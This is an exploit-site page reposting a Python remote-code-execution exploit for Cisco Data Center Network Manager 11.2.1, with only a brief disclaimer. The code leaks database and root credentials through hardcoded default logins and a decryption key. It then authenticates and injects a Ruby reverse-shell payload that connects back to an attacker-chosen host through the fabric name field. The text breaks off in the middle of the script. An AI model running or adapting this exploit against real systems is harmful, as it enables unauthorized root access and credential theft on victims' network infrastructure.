Cisco data center network manager 11.2.1 lanfabricimpl command injection Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2020-02-06 |
Type : webapps |
Platform : java
This exploit / vulnerability Cisco data center network manager 11.2.1 lanfabricimpl command injection is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/python
"""
Cisco Data Center Network Manager LanFabricImpl createLanFabric Command Injection Remote Code Execution Vulnerability
Tested on: Cisco DCNM 11.2.1 ISO Virtual Appliance for VMWare, KVM and Bare-metal servers
- Release: 11.2(1)
- Release Date: 05-Jun-2019
- FileName: dcnm-va.11.2.1.iso.zip
- Size: 4473.54 MB (4690850167 bytes)
- MD5 Checksum: b1bba467035a8b41c63802ce8666b7bb
def random_string(string_length = 8):
""" generate a random string of fixed length """
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(string_length))
def decrypt(key):
""" decrypt the leaked password """
cipher = Blowfish.new("jaas is the way", Blowfish.MODE_ECB)
msg = cipher.decrypt(key.decode("hex"))
return msg
def we_can_leak(target):
""" used to bypass auth """
global dbuser, dbpass, vfspth, jdbc, rootuser, rootpass
dbuser = None
dbpass = None
vfspth = None
rootuser = None
rootpass = None
jdbc = None
uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target
c = HTTPBasicAuth('admin', 'nbv_12345')
r = requests.get(uri, verify=False, auth=c)
leaked = r.text
match = re.search("db.password = #(.*)", leaked)
if match:
dbpass = match.group(1)
match = re.search("db.user = (.*)", leaked)
if match:
dbuser = match.group(1)
match = re.search("dcnmweb = (.*)", leaked)
if match:
vfspth = match.group(1)
match = re.search("db.url = (.*)", leaked)
if match:
jdbc = match.group(1)
match = re.search("server.sftp.password = #(.*)", leaked)
if match:
rootpass = match.group(1)
match = re.search("server.sftp.username = (.*)", leaked)
if match:
rootuser = match.group(1)
if dbuser and dbpass and vfspth and jdbc and rootuser and rootpass:
return True
return False
def we_can_login(target, password):
""" we have bypassed auth at this point by leaking the creds """
global sessionid, resttoken
d = {
"j_username" : rootuser,
"j_password" : password,
}
uri = "https://%s/j_spring_security_check" % target
r = requests.post(uri, data=d, verify=False, allow_redirects=False)
if "Set-Cookie" in r.headers:
match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,3}:.{44});", r.headers["Set-Cookie"])
if match:
sessionid = match.group(1)
resttoken = match.group(2)
return True
return False
def pop_a_root_shell(t, ls, lp):
""" get dat shell! """
handlerthr = Thread(target=handler, args=(lp,))
handlerthr.start()
uri = "https://%s/rest/fabrics" % t
cmdi = "%s\";'`{ruby,-rsocket,-e'c=TCPSocket.new(\"%s\",\"%d\");" % (random_string(), ls, lp)
cmdi += "while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print(io.read)}end'}`'\""
j = {
"name" : cmdi,
# this is needed to pass validate() on line 149 of the LanFabricImpl class
"generalSetting" : {
"asn" : "1337",
"provisionOption" : "Manual"
},
"provisionSetting" : {
"dhcpSetting": {
"primarySubnet" : "127.0.0.1",
"primaryDNS" : "127.0.0.1",
"secondaryDNS" : "127.0.0.1"
},
"ldapSetting" : {
"server" : "127.0.0.1"
},
"amqpSetting" : {
"server" : "127.0.0.1:1337"
}
}
}
c = { "resttoken": resttoken }
r = requests.post(uri, json=j, cookies=c, verify=False)
if r.status_code == 200 and ls in r.text:
return True
return False
def main():
if len(sys.argv) != 3:
print "(+) usage: %s <target> <connectback:port>" % sys.argv[0]
print "(+) eg: %s 192.168.100.123 192.168.100.59" % sys.argv[0]
print "(+) eg: %s 192.168.100.123 192.168.100.59:1337" % sys.argv[0]
sys.exit(1)
t = sys.argv[1]
cb = sys.argv[2]
if not ":" in cb:
print "(+) using default connectback port 4444"
ls = cb
lp = 4444
else:
if not cb.split(":")[1].isdigit():
print "(-) %s is not a port number!" % cb.split(":")[1]
sys.exit(-1)
ls = cb.split(":")[0]
lp = int(cb.split(":")[1])